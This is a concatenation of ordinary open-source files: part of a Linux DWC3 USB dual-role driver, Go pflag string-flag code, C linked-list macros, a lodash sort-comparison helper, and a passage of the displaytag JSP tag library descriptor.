reg = dwc3_readl(dwc->regs, DWC3_OSTS);
id = !!(reg & DWC3_OSTS_CONIDSTS);
dwc->desired_otg_role = id ? DWC3_OTG_ROLE_DEVICE :
DWC3_OTG_ROLE_HOST;
}
if (dwc->desired_otg_role == dwc->current_otg_role)
return;
switch (dwc->current_otg_role) {
case DWC3_OTG_ROLE_HOST:
dwc3_host_exit(dwc);
spin_lock_irqsave(&dwc->lock, flags);
dwc3_otg_host_exit(dwc);
spin_unlock_irqrestore(&dwc->lock, flags);
break;
case DWC3_OTG_ROLE_DEVICE:
dwc3_gadget_exit(dwc);
spin_lock_irqsave(&dwc->lock, flags);
dwc3_event_buffers_cleanup(dwc);
dwc3_otg_device_exit(dwc);
spin_unlock_irqrestore(&dwc->lock, flags);
break;
default:
break;
}
spin_lock_irqsave(&dwc->lock, flags);
dwc->current_otg_role = dwc->desired_otg_role;
spin_unlock_irqrestore(&dwc->lock, flags);
switch (dwc->desired_otg_role) {
case DWC3_OTG_ROLE_HOST:
spin_lock_irqsave(&dwc->lock, flags);
dwc3_otgregs_init(dwc);
dwc3_otg_host_init(dwc);
spin_unlock_irqrestore(&dwc->lock, flags);
ret = dwc3_host_init(dwc);
if (ret) {
dev_err(dwc->dev, "failed to initialize host\n");
} else {
if (dwc->usb2_phy)
otg_set_vbus(dwc->usb2_phy->otg, true);
if (dwc->usb2_generic_phy)
phy_set_mode(dwc->usb2_generic_phy,
PHY_MODE_USB_HOST);
}
break;
case DWC3_OTG_ROLE_DEVICE:
spin_lock_irqsave(&dwc->lock, flags);
dwc3_otgregs_init(dwc);
dwc3_otg_device_init(dwc);
dwc3_event_buffers_setup(dwc);
spin_unlock_irqrestore(&dwc->lock, flags);
if (dwc->usb2_phy)
otg_set_vbus(dwc->usb2_phy->otg, false);
if (dwc->usb2_generic_phy)
phy_set_mode(dwc->usb2_generic_phy,
PHY_MODE_USB_DEVICE);
ret = dwc3_gadget_init(dwc);
if (ret)
dev_err(dwc->dev, "failed to initialize peripheral\n");
break;
default:
break;
}
}
static void dwc3_drd_update(struct dwc3 *dwc)
{
int id;
if (dwc->edev) {
id = extcon_get_state(dwc->edev, EXTCON_USB_HOST);
if (id < 0)
id = 0;
dwc3_set_mode(dwc, id ?
DWC3_GCTL_PRTCAP_HOST :
DWC3_GCTL_PRTCAP_DEVICE);
}
}
static int dwc3_drd_notifier(struct notifier_block *nb,
unsigned long event, void *ptr)
{
struct dwc3 *dwc = container_of(nb, struct dwc3, edev_nb);
dwc3_set_mode(dwc, event ?
DWC3_GCTL_PRTCAP_HOST :
DWC3_GCTL_PRTCAP_DEVICE);
return NOTIFY_DONE;
}
static struct extcon_dev *dwc3_get_extcon(struct dwc3 *dwc)
{
struct device *dev = dwc->dev;
struct device_node *np_phy, *np_conn;
struct extcon_dev *edev;
const char *name;
if (device_property_read_bool(dev, "extcon"))
return extcon_get_edev_by_phandle(dev, 0);
/*
* Device tree platforms should get extcon via phandle.
* On ACPI platforms, we get the name from a device property.
* This device property is for kernel internal use only and
* is expected to be set by the glue code.
*/
if (device_property_read_string(dev, "linux,extcon-name", &name) == 0) {
edev = extcon_get_extcon_dev(name);
if (!edev)
return ERR_PTR(-EPROBE_DEFER);
return edev;
}
np_phy = of_parse_phandle(dev->of_node, "phys", 0);
np_conn = of_graph_get_remote_node(np_phy, -1, -1);
if (np_conn)
edev = extcon_find_edev_by_node(np_conn);
else
edev = NULL;
of_node_put(np_conn);
of_node_put(np_phy);
return edev;
}
#if IS_ENABLED(CONFIG_USB_ROLE_SWITCH)
#define ROLE_SWITCH 1
static int dwc3_usb_role_switch_set(struct usb_role_switch *sw,
enum usb_role role)
{
struct dwc3 *dwc = usb_role_switch_get_drvdata(sw);
u32 mode;
switch (role) {
case USB_ROLE_HOST:
mode = DWC3_GCTL_PRTCAP_HOST;
break;
case USB_ROLE_DEVICE:
mode = DWC3_GCTL_PRTCAP_DEVICE;
break;
default:
if (dwc->role_switch_default_mode == USB_DR_MODE_HOST)
mode = DWC3_GCTL_PRTCAP_HOST;
else
mode = DWC3_GCTL_PRTCAP_DEVICE;
break;
}
dwc3_set_mode(dwc, mode);
return 0;
}
static enum usb_role dwc3_usb_role_switch_get(struct usb_role_switch *sw)
{
struct dwc3 *dwc = usb_role_switch_get_drvdata(sw);
unsigned long flags;
enum usb_role role;
spin_lock_irqsave(&dwc->lock, flags);
switch (dwc->current_dr_role) {
case DWC3_GCTL_PRTCAP_HOST:
role = USB_ROLE_HOST;
break;
case DWC3_GCTL_PRTCAP_DEVICE:
role = USB_ROLE_DEVICE;
break;
case DWC3_GCTL_PRTCAP_OTG:
role = dwc->current_otg_role;
break;
default:
if (dwc->role_switch_default_mode == USB_DR_MODE_HOST)
role = USB_ROLE_HOST;
else
role = USB_ROLE_DEVICE;
break;
}
spin_unlock_irqrestore(&dwc->lock, flags);
return role;
}
static int dwc3_setup_role_switch(struct dwc3 *dwc)
{
struct usb_role_switch_desc dwc3_role_switch = {NULL};
const char *str;
u32 mode;
int ret;
ret = device_property_read_string(dwc->dev, "role-switch-default-mode",
&str);
if (ret >= 0 && !strncmp(str, "host", strlen("host"))) {
dwc->role_switch_default_mode = USB_DR_MODE_HOST;
mode = DWC3_GCTL_PRTCAP_HOST;
} else {
dwc->role_switch_default_mode = USB_DR_MODE_PERIPHERAL;
mode = DWC3_GCTL_PRTCAP_DEVICE;
}
dwc3_role_switch.fwnode = dev_fwnode(dwc->dev);
dwc3_role_switch.set = dwc3_usb_role_switch_set;
dwc3_role_switch.get = dwc3_usb_role_switch_get;
dwc3_role_switch.driver_data = dwc;
dwc->role_sw = usb_role_switch_register(dwc->dev, &dwc3_role_switch);
if (IS_ERR(dwc->role_sw))
return PTR_ERR(dwc->role_sw);
dwc3_set_mode(dwc, mode);
return 0;
}
#else
#define ROLE_SWITCH 0
#define dwc3_setup_role_switch(x) 0
#endif
int dwc3_drd_init(struct dwc3 *dwc)
{
int ret, irq;
dwc->edev = dwc3_get_extcon(dwc);
if (IS_ERR(dwc->edev))
return PTR_ERR(dwc->edev);
if (ROLE_SWITCH &&
device_property_read_bool(dwc->dev, "usb-role-switch")) {
ret = dwc3_setup_role_switch(dwc);
if (ret < 0)
return ret;
} else if (dwc->edev) {
dwc->edev_nb.notifier_call = dwc3_drd_notifier;
ret = extcon_register_notifier(dwc->edev, EXTCON_USB_HOST,
&dwc->edev_nb);
if (ret < 0) {
dev_err(dwc->dev, "couldn't register cable notifier\n");
return ret;
}
dwc3_drd_update(dwc);
} else {
dwc3_set_prtcap(dwc, DWC3_GCTL_PRTCAP_OTG);
dwc->current_dr_role = DWC3_GCTL_PRTCAP_OTG;
/* use OTG block to get ID event */
irq = dwc3_otg_get_irq(dwc);
if (irq < 0)
return irq;
dwc->otg_irq = irq;
/* disable all OTG IRQs */
dwc3_otg_disable_events(dwc, DWC3_OTG_ALL_EVENTS);
/* clear all events */
dwc3_otg_clear_events(dwc);
ret = request_threaded_irq(dwc->otg_irq, dwc3_otg_irq,
dwc3_otg_thread_irq,
IRQF_SHARED, "dwc3-otg", dwc);
if (ret) {
dev_err(dwc->dev, "failed to request irq #%d --> %d\n",
dwc->otg_irq, ret);
ret = -ENODEV;
return ret;
}
dwc3_otg_init(dwc);
dwc3_set_mode(dwc, DWC3_GCTL_PRTCAP_OTG);
}
return 0;
}
void dwc3_drd_exit(struct dwc3 *dwc)
{
unsigned long flags;
if (dwc->role_sw)
usb_role_switch_unregister(dwc->role_sw);
if (dwc->edev)
extcon_unregister_notifier(dwc->edev, EXTCON_USB_HOST,
&dwc->edev_nb);
cancel_work_sync(&dwc->drd_work);
/* debug user might have changed role, clean based on current role */
switch (dwc->current_dr_role) {
case DWC3_GCTL_PRTCAP_HOST:
dwc3_host_exit(dwc);
break;
case DWC3_GCTL_PRTCAP_DEVICE:
dwc3_gadget_exit(dwc);
dwc3_event_buffers_cleanup(dwc);
break;
case DWC3_GCTL_PRTCAP_OTG:
dwc3_otg_exit(dwc);
spin_lock_irqsave(&dwc->lock, flags);
dwc->desired_otg_role = DWC3_OTG_ROLE_IDLE;
spin_unlock_irqrestore(&dwc->lock, flags);
dwc3_otg_update(dwc, 1);
break;
default:
break;
}
if (dwc->otg_irq)
free_irq(dwc->otg_irq, dwc);
}
|
{
"pile_set_name": "Github"
}
|
package pflag
// -- string Value
type stringValue string
func newStringValue(val string, p *string) *stringValue {
*p = val
return (*stringValue)(p)
}
func (s *stringValue) Set(val string) error {
*s = stringValue(val)
return nil
}
func (s *stringValue) Type() string {
return "string"
}
func (s *stringValue) String() string { return string(*s) }
func stringConv(sval string) (interface{}, error) {
return sval, nil
}
// GetString return the string value of a flag with the given name
func (f *FlagSet) GetString(name string) (string, error) {
val, err := f.getFlagType(name, "string", stringConv)
if err != nil {
return "", err
}
return val.(string), nil
}
// StringVar defines a string flag with specified name, default value, and usage string.
// The argument p points to a string variable in which to store the value of the flag.
func (f *FlagSet) StringVar(p *string, name string, value string, usage string) {
f.VarP(newStringValue(value, p), name, "", usage)
}
// StringVarP is like StringVar, but accepts a shorthand letter that can be used after a single dash.
func (f *FlagSet) StringVarP(p *string, name, shorthand string, value string, usage string) {
f.VarP(newStringValue(value, p), name, shorthand, usage)
}
// StringVar defines a string flag with specified name, default value, and usage string.
// The argument p points to a string variable in which to store the value of the flag.
func StringVar(p *string, name string, value string, usage string) {
CommandLine.VarP(newStringValue(value, p), name, "", usage)
}
// StringVarP is like StringVar, but accepts a shorthand letter that can be used after a single dash.
func StringVarP(p *string, name, shorthand string, value string, usage string) {
CommandLine.VarP(newStringValue(value, p), name, shorthand, usage)
}
// String defines a string flag with specified name, default value, and usage string.
// The return value is the address of a string variable that stores the value of the flag.
func (f *FlagSet) String(name string, value string, usage string) *string {
p := new(string)
f.StringVarP(p, name, "", value, usage)
return p
}
// StringP is like String, but accepts a shorthand letter that can be used after a single dash.
func (f *FlagSet) StringP(name, shorthand string, value string, usage string) *string {
p := new(string)
f.StringVarP(p, name, shorthand, value, usage)
return p
}
// String defines a string flag with specified name, default value, and usage string.
// The return value is the address of a string variable that stores the value of the flag.
func String(name string, value string, usage string) *string {
return CommandLine.StringP(name, "", value, usage)
}
// StringP is like String, but accepts a shorthand letter that can be used after a single dash.
func StringP(name, shorthand string, value string, usage string) *string {
return CommandLine.StringP(name, shorthand, value, usage)
}
|
{
"pile_set_name": "Github"
}
|
/*
* List definitions.
*/
#define ql_head(a_type) \
struct { \
a_type *qlh_first; \
}
#define ql_head_initializer(a_head) {NULL}
#define ql_elm(a_type) qr(a_type)
/* List functions. */
#define ql_new(a_head) do { \
(a_head)->qlh_first = NULL; \
} while (0)
#define ql_elm_new(a_elm, a_field) qr_new((a_elm), a_field)
#define ql_first(a_head) ((a_head)->qlh_first)
#define ql_last(a_head, a_field) \
((ql_first(a_head) != NULL) \
? qr_prev(ql_first(a_head), a_field) : NULL)
#define ql_next(a_head, a_elm, a_field) \
((ql_last(a_head, a_field) != (a_elm)) \
? qr_next((a_elm), a_field) : NULL)
#define ql_prev(a_head, a_elm, a_field) \
((ql_first(a_head) != (a_elm)) ? qr_prev((a_elm), a_field) \
: NULL)
#define ql_before_insert(a_head, a_qlelm, a_elm, a_field) do { \
qr_before_insert((a_qlelm), (a_elm), a_field); \
if (ql_first(a_head) == (a_qlelm)) { \
ql_first(a_head) = (a_elm); \
} \
} while (0)
#define ql_after_insert(a_qlelm, a_elm, a_field) \
qr_after_insert((a_qlelm), (a_elm), a_field)
#define ql_head_insert(a_head, a_elm, a_field) do { \
if (ql_first(a_head) != NULL) { \
qr_before_insert(ql_first(a_head), (a_elm), a_field); \
} \
ql_first(a_head) = (a_elm); \
} while (0)
#define ql_tail_insert(a_head, a_elm, a_field) do { \
if (ql_first(a_head) != NULL) { \
qr_before_insert(ql_first(a_head), (a_elm), a_field); \
} \
ql_first(a_head) = qr_next((a_elm), a_field); \
} while (0)
#define ql_remove(a_head, a_elm, a_field) do { \
if (ql_first(a_head) == (a_elm)) { \
ql_first(a_head) = qr_next(ql_first(a_head), a_field); \
} \
if (ql_first(a_head) != (a_elm)) { \
qr_remove((a_elm), a_field); \
} else { \
ql_first(a_head) = NULL; \
} \
} while (0)
#define ql_head_remove(a_head, a_type, a_field) do { \
a_type *t = ql_first(a_head); \
ql_remove((a_head), t, a_field); \
} while (0)
#define ql_tail_remove(a_head, a_type, a_field) do { \
a_type *t = ql_last(a_head, a_field); \
ql_remove((a_head), t, a_field); \
} while (0)
#define ql_foreach(a_var, a_head, a_field) \
qr_foreach((a_var), ql_first(a_head), a_field)
#define ql_reverse_foreach(a_var, a_head, a_field) \
qr_reverse_foreach((a_var), ql_first(a_head), a_field)
|
{
"pile_set_name": "Github"
}
|
var isSymbol = require('./isSymbol');
/**
* Compares values to sort them in ascending order.
*
* @private
* @param {*} value The value to compare.
* @param {*} other The other value to compare.
* @returns {number} Returns the sort order indicator for `value`.
*/
function compareAscending(value, other) {
if (value !== other) {
var valIsDefined = value !== undefined,
valIsNull = value === null,
valIsReflexive = value === value,
valIsSymbol = isSymbol(value);
var othIsDefined = other !== undefined,
othIsNull = other === null,
othIsReflexive = other === other,
othIsSymbol = isSymbol(other);
if ((!othIsNull && !othIsSymbol && !valIsSymbol && value > other) ||
(valIsSymbol && othIsDefined && othIsReflexive && !othIsNull && !othIsSymbol) ||
(valIsNull && othIsDefined && othIsReflexive) ||
(!valIsDefined && othIsReflexive) ||
!valIsReflexive) {
return 1;
}
if ((!valIsNull && !valIsSymbol && !othIsSymbol && value < other) ||
(othIsSymbol && valIsDefined && valIsReflexive && !valIsNull && !valIsSymbol) ||
(othIsNull && valIsDefined && valIsReflexive) ||
(!othIsDefined && valIsReflexive) ||
!othIsReflexive) {
return -1;
}
}
return 0;
}
module.exports = compareAscending;
|
{
"pile_set_name": "Github"
}
|
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE taglib PUBLIC "-//Sun Microsystems, Inc.//DTD JSP Tag Library 1.2//EN"
"http://java.sun.com/dtd/web-jsptaglibrary_1_2.dtd">
<taglib>
<tlib-version>1.1</tlib-version>
<jsp-version>1.2</jsp-version>
<short-name>display</short-name>
<uri>http://displaytag.sf.net</uri>
<display-name>Display *: Tag Library</display-name>
<description>
The display tag library is an open source suite of custom tags that provide high level web presentation patterns
which will work in a MVC model, and provide a significant amount of functionality while still being simple and
straight-forward to use. The primary tag in the library is the Table tag.
</description>
<tag>
<name>table</name>
<tag-class>org.displaytag.tags.TableTag</tag-class>
<tei-class>org.displaytag.tags.TableTagExtraInfo</tei-class>
<body-content>JSP</body-content>
<display-name>table</display-name>
<description>
Displays a list in an html table, formatting each item in the list according to the Column tags nested inside of
this tag. Use the list attribute to indicate the Collection of data, in some scope, that the tag should operate
on. Supports the export of the list data to alternative formats such as CSV, Excel, and XML. The contents of the
list can be sorted, and the list can be broken into individual pages for display. If you use this tag in Struts,
or in some other framework where the page is included via a jsp:include, you should use the requestURI attribute
to indicate where tag generated links should point.
</description>
<attribute>
<name>list</name>
<required>false</required>
<rtexprvalue>true</rtexprvalue>
<description>
Reference to the object used as source for the table. Can be an expression like requestScope.object.property .
You must define either the name attribute or the list attribute. Using "Name" is suggested.
</description>
</attribute>
<attribute>
<name>name</name>
<required>false</required>
<rtexprvalue>true</rtexprvalue>
<description>
reference to the object used as source for the table. Can be an expression like requestScope.object.property. In
the EL version of the taglibrary this must be an EL expression which points to the source object.
</description>
</attribute>
<attribute>
<name>length</name>
<required>false</required>
<rtexprvalue>true</rtexprvalue>
<type>int</type>
<description>number of records to be shown</description>
</attribute>
<attribute>
<name>offset</name>
<required>false</required>
<rtexprvalue>true</rtexprvalue>
<type>int</type>
<description>index of the first record to be shown</description>
</attribute>
<attribute>
<name>pagesize</name>
<required>false</required>
<rtexprvalue>true</rtexprvalue>
<type>int</type>
<description>number of records in a page</description>
</attribute>
<attribute>
<name>decorator</name>
<required>false</required>
<rtexprvalue>true</rtexprvalue>
<type>java.lang.String</type>
<description>
Fully qualified class name for a TableDecorator. Use a TableDecorator to provide custom operations against the
whole list, such as computing totals. Must extend org.displaytag.decorator.TableDecorator.
</description>
</attribute>
<attribute>
<name>requestURI</name>
<required>false</required>
<rtexprvalue>true</rtexprvalue>
<type>java.lang.String</type>
<description>
When the present, links for sorting, exports, and paging are formed by adding any tag generated parameters to
the value of requestURI attribute.
</description>
</attribute>
<attribute>
<name>requestURIcontext</name>
<required>false</required>
<rtexprvalue>true</rtexprvalue>
<type>boolean</type>
<description>
Enable/disable prepending of application context to generated links. Default is true, you can set it to false in
order to generate cross-context links.
</description>
</attribute>
<attribute>
<name>excludedParams</name>
<required>false</required>
<rtexprvalue>true</rtexprvalue>
<type>java.lang.String</type>
<description>
Whitespace separated list containg the name of parameters which should NOT be forwarded during paging or
sorting. You can use excludedParams="*" to match (exclude) any parameter.
</description>
</attribute>
<attribute>
<name>varTotals</name>
<required>false</required>
<rtexprvalue>true</rtexprvalue>
<type>java.lang.String</type>
<description>
Store a java.util.Map of the column totals in a pageContext variable by this name. The keys of the map are
"column" and the column number (first column is "column1", etc); values are the corresponding total for the
column; columns that are not marked as to total="true" will be omitted from the map. The variable will ONLY be
available within the footer tag and after the end of the table, it is not available with the body of the table
or columns.
</description>
</attribute>
<attribute>
<name>style</name>
<required>false</required>
<rtexprvalue>true</rtexprvalue>
<type>java.lang.String</type>
<description>html pass through attribute</description>
</attribute>
<attribute>
<name>class</name>
<required>false</required>
<rtexprvalue>true</rtexprvalue>
<type>java.lang.String</type>
<description>html pass through attribute</description>
</attribute>
<attribute>
<name>cellspacing</name>
<required>false</required>
<rtexprvalue>true</rtexprvalue>
<type>java.lang.String</type>
<description>html pass through attribute</description>
</attribute>
<attribute>
<name>cellpadding</name>
<required>false</required>
<rtexprvalue>true</rtexprvalue>
<type>java.lang.String</type>
<description>html pass through attribute. Better using "padding" css attribute in style or class</description>
</attribute>
<attribute>
<name>frame</name>
<required>false</required>
<rtexprvalue>true</rtexprvalue>
<type>java.lang.String</type>
<description>html pass through attribute.</description>
</attribute>
<attribute>
<name>rules</name>
<required>false</required>
<rtexprvalue>true</rtexprvalue>
<type>java.lang.String</type>
<description>html pass through attribute.</description>
</attribute>
<attribute>
<name>summary</name>
<required>false</required>
<rtexprvalue>true</rtexprvalue>
<type>java.lang.String</type>
<description>html pass through attribute</description>
</attribute>
<attribute>
<name>htmlId</name>
<required>false</required>
<rtexprvalue>true</rtexprvalue>
<type>java.lang.String</type>
<description>html "id" pass through attribute</description>
</attribute>
<attribute>
<name>export</name>
<required>false</required>
<rtexprvalue>true</rtexprvalue>
<type>boolean</type>
<description>enable/disable export. Valid values are true or false</description>
</attribute>
<attribute>
<name>id</name>
<required>false</required>
<rtexprvalue>true</rtexprvalue>
<type>java.lang.String</type>
<description>
See "uid". The id attribute can't be a runtime expression in jsp 1.0 compliant containers, while uid will allow
it.
</description>
</attribute>
<attribute>
<name>uid</name>
<required>false</required>
<rtexprvalue>true</rtexprvalue>
<type>java.lang.String</type>
<description>
Unique id used to identify this table. The object representing the current row is also added to the pageContext
under this name and the current row number is added using the key uid_rowNum. Two tables in the same page can't
have the same uid (paging and sorting will affect both). If no "htmlId" is specified the same value will be used
for the html id of the generated table.
</description>
</attribute>
<attribute>
<name>sort</name>
<required>false</required>
<rtexprvalue>true</rtexprvalue>
<type>java.lang.String</type>
<description>
Use 'page' if you want to sort only visible records, or 'list' if you want to sort the full list, or 'external'
if the data is sorted outside displaytag.
</description>
</attribute>
<attribute>
<name>defaultsort</name>
<required>false</required>
<rtexprvalue>true</rtexprvalue>
<type>int</type>
<description>The index of the column that will be used by default for sorting (starting from 1)</description>
</attribute>
<attribute>
<name>defaultorder</name>
<required>false</required>
<rtexprvalue>true</rtexprvalue>
<type>java.lang.String</type>
<description>
The default order for the sorted column. Valid values are "ascending" (default) or "descending"
</description>
</attribute>
<attribute>
<name>partialList</name>
<required>false</required>
<rtexprvalue>true</rtexprvalue>
<type>boolean</type>
<description>enable/disable partialLists. Valid values are true or false</description>
</attribute>
<attribute>
<name>size</name>
<required>false</required>
<rtexprvalue>true</rtexprvalue>
<description>
Used only when partialList=true. Reference to the Integer object containing the size of the total dataset. Can
be an expression like requestScope.object.property. In the EL version of the taglibrary this must be an EL
expression which points to the source object.
</description>
</attribute>
<attribute>
<name>keepStatus</name>
<required>false</required>
<rtexprvalue>true</rtexprvalue>
<type>boolean</type>
<description>
Preserve the current paging/sort status across session. The default is false (do not use sessions). Note that
for this to work properly you need to assign to each table in your application a different id.
</description>
</attribute>
<attribute>
<name>clearStatus</name>
<required>false</required>
<rtexprvalue>true</rtexprvalue>
<type>boolean</type>
<description>Clears the current paging/sort status saved in session.</description>
</attribute>
<attribute>
<name>form</name>
<required>false</required>
<rtexprvalue>true</rtexprvalue>
<description>
Uses post for paging/sorting links, by submitting the for with the given name. Note that this form will not be
created by displaytag, and it must exist in page.
</description>
</attribute>
<example>
<![CDATA[
<display:table name="someList" export="true" id="row" requestURI="MyAction.do">
<display:column sortable="true" title="ID"> <c:out value="${row.id}"/> </display:column>
<display:column property="email" autolink="true"/>
<display:column property="description" title="Comments"/>
</display:table>
]]>
</example>
</tag>
<tag>
<name>column</name>
<tag-class>org.displaytag.tags.ColumnTag</tag-class>
<body-content>JSP</body-content>
<display-name>column</display-name>
<description>
Displays a property of a row object inside a table. MUST be nested inside of a Table tag. The value displayed will
be the results of a decorator (if any); else the property named by the 'property' attribute; or if the 'property'
attribute is null, then the results of evaluating the JSP body of the tag.
</description>
<attribute>
<name>property</name>
<required>false</required>
<rtexprvalue>true</rtexprvalue>
<type>java.lang.String</type>
<description>
name of the property in the bean specified in the parent table tag (via the "name" attribute) mapped to this
column
</description>
</attribute>
<attribute>
<name>sortProperty</name>
<required>false</required>
<rtexprvalue>true</rtexprvalue>
<type>java.lang.String</type>
<description>
name of the property in the bean specified in the parent table tag (via the "name" attribute) which will be used
to sort values in the column. This can be used when the column body is filled or a decorator is used and column
should sort on undecorated values.
</description>
</attribute>
<attribute>
<name>title</name>
<required>false</required>
<rtexprvalue>true</rtexprvalue>
<type>java.lang.String</type>
<description>title of the column (text for the th cell)</description>
</attribute>
<attribute>
<name>comparator</name>
<required>false</required>
<rtexprvalue>true</rtexprvalue>
<description>
The classname of comparator to use when sorting this column, or the comparator itself. Defaults to the
DefaultComparator.
</description>
</attribute>
<attribute>
<name>titleKey</name>
<required>false</required>
<rtexprvalue>true</rtexprvalue>
<description>
Resource key used to lookup the title value. Only works if "title" is not defined. Works together with a
configured I18nResourceProvider, specified via the displaytag.properties file. By default, if JSTL is available,
the JSTL provider is used, which makes this attribute work the same as fmt:message's key property.
</description>
</attribute>
<attribute>
<name>nulls</name>
<required>false</required>
<rtexprvalue>true</rtexprvalue>
<type>boolean</type>
<description>
By default, null values don't appear in the list. By setting 'nulls' to 'true', then null values will appear as
"null" in the list (mostly useful for debugging). Defaults to 'false'.
</description>
</attribute>
<attribute>
<name>total</name>
<required>false</required>
<rtexprvalue>true</rtexprvalue>
<type>boolean</type>
<description>
If true, will total the contents of this column. This value is available via the Map named in varTotals for the
table. Column values need to Numbers.
</description>
</attribute>
<attribute>
<name>sortable</name>
<required>false</required>
<rtexprvalue>true</rtexprvalue>
<type>boolean</type>
<description>Set to 'true' to make the column sortable. Defaults to 'false'.</description>
</attribute>
<attribute>
<name>defaultorder</name>
<required>false</required>
<rtexprvalue>true</rtexprvalue>
<type>java.lang.String</type>
<description>
The default sort order for this column. Valid values are "ascending" (default) or "descending"
</description>
</attribute>
<attribute>
<name>autolink</name>
<required>false</required>
<rtexprvalue>true</rtexprvalue>
<type>boolean</type>
<description>
Automatically hyperlink URLs and email addresses that appear in the column. Defaults to 'false'.
</description>
</attribute>
<attribute>
<name>format</name>
<required>false</required>
<rtexprvalue>true</rtexprvalue>
<type>java.lang.String</type>
<description>
A MessageFormat patter that will be used to decorate objects in the column. Can be used as a "shortcut" for
simple column decorations. @since 1.1
</description>
</attribute>
<attribute>
<name>escapeXml</name>
<required>false</required>
<rtexprvalue>true</rtexprvalue>
<type>boolean</type>
<description>
Set it to true to escape special characters in html and xml output. Defaults to 'false'. @since 1.1
</description>
</attribute>
<attribute>
<name>media</name>
<required>false</required>
<rtexprvalue>true</rtexprvalue>
<type>java.lang.String</type>
<description>
Use this attribute to keep a column from being output during an export. The column will only render for the
named media type(s) - it won't be added to the table if the current request media is not supported. Can be any
space separated combination of 'html', 'csv', 'xml', 'all', or 'excel'. Defaults to 'all'. See the export page
in the example webapp for more details.
</description>
</attribute>
<attribute>
<name>href</name>
<required>false</required>
<rtexprvalue>true</rtexprvalue>
<type>java.lang.String</type>
<description>
<![CDATA[
The base URL used to construct the dynamic link. If this attribute is provided, then the data that is shown for
this column is wrapped inside a <a href=""> tag with the url provided through this attribute. Typically you
would use this attribute along with one of the struts-like param attributes (param*) to create a dynamic link so
that each row creates a different URL based on the data that is being viewed. An empty href value will generate
a link to the current page, preserving parameters just like for paging links.]]>
</description>
</attribute>
<attribute>
<name>url</name>
<required>false</required>
<rtexprvalue>true</rtexprvalue>
<type>java.lang.String</type>
<description>
The base URL used to construct the dynamic link. This attribute has the same functionality as the href
attribute, but it pre-pends the contextPath.
</description>
</attribute>
<attribute>
<name>paramId</name>
<required>false</required>
<rtexprvalue>true</rtexprvalue>
<type>java.lang.String</type>
<description>
The name of the request parameter that will be dynamically added to the generated href URL. The corresponding
value is defined by the paramProperty and (optional) paramName attributes, optionally scoped by the paramScope
attribute.
</description>
</attribute>
<attribute>
<name>paramName</name>
<required>false</required>
<rtexprvalue>true</rtexprvalue>
<type>java.lang.String</type>
<description>
The name of a JSP bean that is a String containing the value for the request parameter named by paramId (if
paramProperty is not specified), or a JSP bean whose property getter is called to return a String (if
paramProperty is specified). The JSP bean is constrained to the bean scope specified by the paramScope property,
if it is specified. If paramName is omitted, then it is assumed that the current object being iterated on is the
target bean.
</description>
</attribute>
<attribute>
<name>paramProperty</name>
<required>false</required>
<rtexprvalue>true</rtexprvalue>
<type>java.lang.String</type>
<description>
The name of a property of the current object being iterated on, whose return value will be used as the value of
the parameter (named by the paramId attribute) that will be dynamically added to this href URL. If paramName is
also specified the property will not be fetched from the object being iterated on, but from the bean specified
by paramName. The support of paramProperty in conjunction with paramName will be probably removed in future: use
paramProperty only if you need a property in the iterated object, elsewhere use only paramName (you can select a
property using an expression name.property).
</description>
</attribute>
<attribute>
<name>paramScope</name>
<required>false</required>
<rtexprvalue>true</rtexprvalue>
<type>java.lang.String</type>
<description>
@deprecated - use Expressions in paramName. The scope within which to search for the bean specified by the
paramName attribute. If not specified, all scopes are searched. If paramName is not provided, then the current
object being iterated on is assumed to be the target bean.
</description>
</attribute>
<attribute>
<name>maxLength</name>
<required>false</required>
<rtexprvalue>true</rtexprvalue>
<type>int</type>
<description>
If this attribute is provided, then the column's displayed is limited to this number of characters. An elipse
(...) is appended to the end if this column is linked, and the user can mouseover the elipse to get the full
text. Be careful on using this attribute for String which can contain html tags or entities, or together with
the autolink attribute turned on: displaytag will do its best trying to avoid leaving unclosed tags or broken
entities in the output, but a complex or bad input could lead to unattended results.
</description>
</attribute>
<attribute>
<name>maxWords</name>
<required>false</required>
<rtexprvalue>true</rtexprvalue>
<type>int</type>
<description>
If this attribute is provided, then the column's displayed is limited to this number of words. An elipse (...)
is appended to the end if this column is linked, and the user can mouseover the elipse to get the full text. Be
careful on using this attribute for String which can contain html tags or entities, or together with the
autolink attribute turned on: displaytag will do its best trying to avoid leaving unclosed tags or broken
entities in the output, but a complex or bad input could lead to unattended results.
</description>
</attribute>
<attribute>
<name>class</name>
<required>false</required>
<rtexprvalue>true</rtexprvalue>
<type>java.lang.String</type>
<description>
html pass through attribute; use this instead of directly coding presentational atttributes.
</description>
</attribute>
<attribute>
<name>headerClass</name>
<required>false</required>
<rtexprvalue>true</rtexprvalue>
<type>java.lang.String</type>
<description>"class" html attribute added only for header cells.</description>
</attribute>
<attribute>
<name>style</name>
<required>false</required>
<rtexprvalue>true</rtexprvalue>
<type>java.lang.String</type>
<description>html pass through attribute.</description>
</attribute>
<attribute>
<name>group</name>
<required>false</required>
<rtexprvalue>true</rtexprvalue>
<type>int</type>
<description>
The grouping level (starting at 1 and incrementing) of this column (indicates if successive contain the same
values, then they should not be displayed). The level indicates that if a lower level no longer matches, then
the matching for this higher level should start over as well. If this attribute is not included, then no
grouping is performed.
</description>
</attribute>
<attribute>
<name>decorator</name>
<required>false</required>
<rtexprvalue>true</rtexprvalue>
<type>java.lang.String</type>
<description>
Whitespace separated list of column decorators to apply to the current column. A table decorator name can be the
name of an object in page, request, session or application scope or a fully qualified class name of a class
implementing the org.displaytag.decorator.DisplaytagColumnDecorator interface. If a decorator is specified for
the entire table, then this decorator will decorate that decorator.
</description>
</attribute>
<attribute>
<name>sortName</name>
<required>false</required>
<rtexprvalue>true</rtexprvalue>
<type>java.lang.String</type>
<description>
Used with sort="external", the name that should be given to the server to sort this column. IE if
sortName="buzz", then the href for this column to sort will have a parameter d-(encodedId)-s=buzz. If sortName
is ommitted the value for the sort param will default to the column number.
</description>
</attribute>
<attribute>
<name>headerScope</name>
<required>false</required>
<rtexprvalue>true</rtexprvalue>
<type>java.lang.String</type>
<description>"scope" html attribute added only for header cells.</description>
</attribute>
<attribute>
<name>scope</name>
<required>false</required>
<rtexprvalue>true</rtexprvalue>
<type>java.lang.String</type>
<description>"scope" html attribute.</description>
</attribute>
<attribute>
<name>value</name>
<required>false</required>
<rtexprvalue>true</rtexprvalue>
<type>java.lang.Object</type>
<description>
Static value to be used for the column. It has the same meaning of setting a value in the tag body, but values
set using this attribute will not be coerced to Strings. You may need to use the value attribute instead of a
scriptlet in the tag body if you need to calculate totals on numeric values.
</description>
</attribute>
